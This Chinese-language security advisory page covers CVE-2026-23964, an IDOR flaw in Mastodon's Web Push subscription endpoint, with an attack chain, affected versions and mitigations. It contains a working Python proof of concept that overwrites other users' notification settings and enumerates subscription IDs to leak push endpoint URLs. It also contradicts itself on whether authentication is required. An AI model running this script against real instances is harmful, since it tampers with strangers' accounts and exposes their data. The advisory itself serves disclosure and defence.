IPBUF安全漏洞报告
English
CVE-2026-23964 CVSS 6.5 中危

CVE-2026-23964: Mastodon Web Push订阅IDOR漏洞允许修改他人订阅设置

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-23964
漏洞类型
不安全直接对象引用(IDOR)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mastodon

相关标签

IDOR不安全直接对象引用MastodonWeb PushActivityPub访问控制绕过信息泄露社交网络

漏洞概述

Mastodon是一个免费的、开源的基于ActivityPub协议的社交网络服务器。CVE-2026-23964漏洞存在于Web推送订阅更新端点,由于对订阅ID的访问控制验证不当,导致任何已认证用户可以通过猜测或获取数字订阅ID来更新其他用户的推送订阅设置。此漏洞影响所有使用Web推送订阅功能的用户,攻击者可利用此漏洞修改受害者的通知过滤策略(如是否过滤非关注者或非关注用户的通知)以及订阅的通知类型,从而扰乱目标用户的推送通知服务。此外,该端点在响应中返回订阅对象,包含推送通知端点URL,可能导致订阅端点信息泄露。攻击者无需特殊权限或用户交互即可发起攻击,但需要拥有有效的认证会话。

技术细节

漏洞根源在于Web推送订阅更新端点(/api/v1/push/subscription/{id})缺少对订阅ID的所有权验证。Mastodon使用自增数字ID作为订阅标识符,攻击者可以通过暴力猜测或枚举的方式获取有效的订阅ID。由于端点仅验证用户是否已登录,而未验证订阅ID是否属于当前用户,导致IDOR漏洞产生。利用此漏洞的攻击流程:首先攻击者需要注册账号并登录获取有效会话;然后访问自己的推送订阅获取订阅ID;通过遍历或猜测订阅ID范围,发送更新请求到目标订阅的端点;成功后可修改目标用户的通知策略和通知类型设置。服务端响应包含订阅对象,泄露推送端点URL但不会暴露密钥对。攻击者可通过自动化脚本批量尝试不同订阅ID来锁定目标用户。

攻击链分析

STEP 1
1
攻击者在目标Mastodon实例注册账号并登录,获取有效的Bearer认证令牌
STEP 2
2
攻击者访问自己的Web推送订阅设置,获取当前账号的订阅ID作为参考基准
STEP 3
3
通过暴力猜测或枚举方式遍历数字订阅ID范围,尝试访问其他用户的订阅端点
STEP 4
4
确定有效目标订阅ID后,构造恶意更新请求修改受害者的通知策略和通知类型
STEP 5
5
服务端响应返回订阅对象,攻击者获取目标用户的推送通知端点URL信息
STEP 6
6
攻击者可批量自动化此过程,影响所有可猜测到订阅ID的用户,扰乱其推送通知服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-23964 PoC - Mastodon IDOR in Web Push Subscription Update Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_idor(target_url, auth_token, target_subscription_id): """ Exploit IDOR vulnerability in Mastodon push subscription update endpoint Args: target_url: Base URL of the Mastodon instance auth_token: Authentication token for the attacker account target_subscription_id: Numeric subscription ID to target """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json' } # Malicious payload to modify victim's notification settings payload = { 'data': { 'policy': 'none', # Disable all notifications 'alerts': { 'follow': False, 'favourite': False, 'reblog': False, 'mention': False, 'poll': False } } } endpoint = f'{target_url}/api/v1/push/subscription/{target_subscription_id}' try: response = requests.put(endpoint, json=payload, headers=headers) if response.status_code == 200: print(f'[+] Successfully modified subscription {target_subscription_id}') print(f'[+] Response: {response.json()}') return True else: print(f'[-] Failed with status code: {response.status_code}') print(f'[-] Response: {response.text}') return False except requests.exceptions.RequestException as e: print(f'[-] Request error: {e}') return False def enumerate_subscriptions(target_url, auth_token, start_id=1, end_id=1000): """ Enumerate valid subscription IDs by brute-forcing """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json' } valid_ids = [] for sub_id in range(start_id, end_id + 1): endpoint = f'{target_url}/api/v1/push/subscription/{sub_id}' try: response = requests.get(endpoint, headers=headers) if response.status_code == 200: data = response.json() print(f'[+] Found valid subscription ID: {sub_id}') print(f' Endpoint: {data.get("endpoint", "N/A")}') valid_ids.append(sub_id) except: continue return valid_ids if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2026_23964_poc.py <target_url> <auth_token> <subscription_id>') print('Example: python cve_2026_23964_poc.py https://mastodon.example.com token123 456') sys.exit(1) target = sys.argv[1] token = sys.argv[2] sub_id = int(sys.argv[3]) print(f'[*] Targeting Mastodon instance: {target}') print(f'[*] Attempting to modify subscription ID: {sub_id}') exploit_idor(target, token, sub_id)

影响范围

Mastodon < v4.3.18
Mastodon < v4.4.12
Mastodon < v4.5.5

防御指南

临时缓解措施
如果无法立即升级,可通过Web应用防火墙(WAF)对/api/v1/push/subscription/端点添加访问限制,限制单用户的请求频率,并监控异常的订阅操作行为。同时建议用户关注官方安全公告,及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表